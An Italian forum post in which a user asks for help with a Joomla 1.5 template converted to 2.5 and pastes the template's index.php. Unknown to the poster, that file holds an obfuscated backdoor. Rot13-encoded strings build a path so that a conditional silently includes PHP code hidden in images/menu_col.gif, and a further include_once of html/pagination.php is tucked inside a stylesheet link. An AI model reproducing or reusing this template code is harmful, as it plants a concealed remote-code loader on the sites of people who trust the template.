Ciao a tutti,
stò cercando di convertire un vecchio template di Joomla 1.5 e di farlo funzionare su Joomla 2.5, seguendo questa guida:
http://wiki.joomla.it/index.php?title=Come_convertire_template_1.5_alla_1.6 (mi è stato detto quì dentro che in genere se funziona per Joomla 1.6 dovrebbe funzionare anche per la 2.5)
Ho seguito la guida, il tema si installa correttamente ma una volta che tento di visualizzare l'homepage quello che mi viene mostrato è DISASTROSO:
Questo dovrebbe essere il risultato finale (come dovrebbe essere correttamente):
http://www.topjoomlatemplates.com/blog/wp-content/uploads/2010/07/free-joomla-template-Safari-in-Africa.jpgMa questo è quello che ottengo io:
http://www.andreanobiliphoto.com/storage/Joomlaimg/template_error1.jpgAd occhio e croce mi pare che visualizzi solamente i bordi laterali del template ed il simbolo ?> (che credo sia di chiusura di qualche tag php e non mi spiego il perchè...)
Credo che le modifiche apportate al file templateDetails.xml siano corrette (credo) e che il problema sia nell'index.php che allego quì sotto:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die;
?>
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up">[/url]
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="main_bg">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><?php endif; ?><a href="index.php" class="logo" title=""><?php echo $mainframe->getCfg('sitename') ;?>[/url]
<?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?></div>
<?php if($this->params->get('hideBannerArea') == 0) : ?>
<?php if((JRequest::getVar('view') != 'frontpage' and $this->params->get('hideBannerAreaInternal') == 0) or JRequest::getVar('view') == 'frontpage') : ?>
<div id="main_top"> </div>
<?php endif; ?>
<?php endif; ?>
<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>
<?php if($this->countModules('left')) : ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<?php endif; ?>
<?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
[br /]
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php endif; ?>
<br clear="all" />
</div>
<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> Joomla!.
<?php echo JText_('Valid') ?> XHTML <?php echo JText::_('and') ?> CSS.
</p>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Non riesco proprio a capire cosa possa causare questo disastro, c'è qualcuno che mi sà dire il perchè e come potrei provare a risolvere?
Grazie mille
Andrea